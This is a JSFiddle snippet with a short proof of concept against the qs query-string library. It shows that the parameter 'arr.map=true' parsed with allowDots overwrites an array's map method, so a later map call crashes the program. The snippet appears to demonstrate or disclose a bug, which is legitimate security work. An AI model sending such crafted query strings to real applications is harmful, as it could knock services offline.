JSFiddle - React, Tailwind, and code Playground

HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/qs/6.10.1/qs.js"></script>

JavaScript

// the PoC functionality parses array with Qs and tries to modify values

//we inject .map=true, rewriting default map() method for arrays
const parsed = Qs.parse("arr=a&arr=b&arr=c&arr.map=true", {allowDots: true});

//the program crashes, because map is a primitive value instead of the method
const edited = parsed.map(el => el+"test");

console.log(edited);